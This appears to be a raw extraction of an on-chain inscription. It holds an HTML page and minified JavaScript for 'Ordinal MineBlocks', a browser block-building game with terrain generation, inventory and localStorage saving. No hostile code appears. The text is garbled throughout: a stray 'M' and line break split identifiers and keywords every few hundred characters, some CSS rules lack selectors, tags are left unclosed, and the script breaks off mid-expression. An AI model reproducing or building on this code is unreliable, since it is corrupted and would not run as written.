18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
